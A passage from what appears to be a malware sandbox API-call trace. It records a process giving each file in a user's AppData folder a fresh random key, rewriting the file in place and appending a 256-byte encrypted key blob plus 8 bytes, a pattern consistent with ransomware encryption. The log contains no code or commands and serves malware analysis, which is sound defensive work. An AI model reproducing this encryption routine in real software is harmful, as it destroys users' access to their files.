out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.608] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.608] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0168.608] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.608] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.608] WriteFile (in: hFile=0x1820, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.609] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.609] CloseHandle (hObject=0x1820) returned 1 [0168.612] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0168.612] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0168.612] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\c86e3408-9792-4ca6-90ee-da0828306422.up_meta", dwFileAttributes=0x80) returned 1 [0168.614] ReadFile (in: hFile=0x1820, lpBuffer=0x564e60, nNumberOfBytesToRead=0x112, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x564e60*, lpNumberOfBytesRead=0x2e1f9bc*=0x112, lpOverlapped=0x0) returned 1 [0168.615] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-274, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.615] WriteFile (in: hFile=0x1820, lpBuffer=0x555d38*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555d38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x112, lpOverlapped=0x0) returned 1 [0168.616] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x112 [0168.616] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.616] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.616] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.616] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.618] CloseHandle (hObject=0x1820) returned 1 [0168.621] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0168.621] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0168.621] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\c86e3408-9792-4ca6-90ee-da0828306422.17073f91-c189-4ad7-aa8a-ff1e30efda71.down_meta", dwFileAttributes=0x80) returned 1 [0168.622] ReadFile (in: hFile=0x1820, lpBuffer=0x582160, nNumberOfBytesToRead=0x5cc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesRead=0x2e1f9bc*=0x5cc, lpOverlapped=0x0) returned 1 [0168.631] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-1484, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.631] WriteFile (in: hFile=0x1820, lpBuffer=0x582738*, nNumberOfBytesToWrite=0x5cc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582738*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5cc, lpOverlapped=0x0) returned 1 [0168.631] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5cc [0168.631] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.631] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.632] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.632] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.632] CloseHandle (hObject=0x1820) returned 1 [0168.634] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0168.634] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0168.634] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\c44b8be1-f5e2-464b-8d6f-c439051f7821.up_meta_body", dwFileAttributes=0x80) returned 1 [0168.634] ReadFile (in: hFile=0x1820, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.634] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.634] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.634] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0168.634] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.634] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.635] WriteFile (in: hFile=0x1820, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.635] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.636] CloseHandle (hObject=0x1820) returned 1 [0168.637] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0168.637] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0168.637] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\b8697f91-5a83-4103-a22f-2f22aa918aeb.up_meta_body", dwFileAttributes=0x80) returned 1 [0168.637] ReadFile (in: hFile=0x1820, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.637] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.638] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.638] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0168.638] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.638] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.638] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.639] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.639] CloseHandle (hObject=0x1820) returned 1 [0168.640] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0168.640] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0168.640] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\b8697f91-5a83-4103-a22f-2f22aa918aeb.up_meta", dwFileAttributes=0x80) returned 1 [0168.641] ReadFile (in: hFile=0x1820, lpBuffer=0x564e60, nNumberOfBytesToRead=0x112, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x564e60*, lpNumberOfBytesRead=0x2e1f9bc*=0x112, lpOverlapped=0x0) returned 1 [0168.642] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-274, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.642] WriteFile (in: hFile=0x1820, lpBuffer=0x555d38*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555d38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x112, lpOverlapped=0x0) returned 1 [0168.642] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x112 [0168.642] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.642] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.642] WriteFile (in: hFile=0x1820, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.643] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.645] CloseHandle (hObject=0x1820) returned 1 [0168.648] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0168.648] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0168.648] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\b8697f91-5a83-4103-a22f-2f22aa918aeb.1ff197c8-5f5d-457a-9784-891d77fb2c85.down_meta", dwFileAttributes=0x80) returned 1 [0168.648] ReadFile (in: hFile=0x1820, lpBuffer=0x582160, nNumberOfBytesToRead=0x5c4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesRead=0x2e1f9bc*=0x5c4, lpOverlapped=0x0) returned 1 [0168.669] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-1476, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.669] WriteFile (in: hFile=0x1820, lpBuffer=0x582730*, nNumberOfBytesToWrite=0x5c4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582730*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5c4, lpOverlapped=0x0) returned 1 [0168.669] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5c4 [0168.669] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.669] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.669] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.670] WriteFile (in: hFile=0x1820, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.670] CloseHandle (hObject=0x1820) returned 1 [0168.678] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0168.678] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0168.678] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\b6b79e6f-5119-441e-8829-ee81a3be6046.up_meta_body", dwFileAttributes=0x80) returned 1 [0168.685] ReadFile (in: hFile=0x1820, lpBuffer=0x5c3478, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.686] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.686] WriteFile (in: hFile=0x1820, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.686] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0168.686] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.686] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.686] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.688] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.688] CloseHandle (hObject=0x1820) returned 1 [0168.690] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0168.690] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0168.690] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\b514de22-1472-4135-a516-53e87ede0d92.up_meta_body", dwFileAttributes=0x80) returned 1 [0168.690] ReadFile (in: hFile=0x1820, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.690] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.690] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.690] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0168.691] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.691] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.691] WriteFile (in: hFile=0x1820, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.692] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.692] CloseHandle (hObject=0x1820) returned 1 [0168.694] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0168.694] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0168.694] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\b0d46b1c-4459-418c-af9b-0fe46893b1fd.up_meta_body", dwFileAttributes=0x80) returned 1 [0168.694] ReadFile (in: hFile=0x1820, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.694] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.694] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.694] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0168.694] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.694] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.695] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.695] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.696] CloseHandle (hObject=0x1820) returned 1 [0168.697] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0168.697] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0168.697] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\af9f53b3-af5d-4995-8f7b-57cf715f6fbf.up_meta_body", dwFileAttributes=0x80) returned 1 [0168.697] ReadFile (in: hFile=0x1820, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.697] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.697] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.698] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0168.698] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.698] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.698] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, 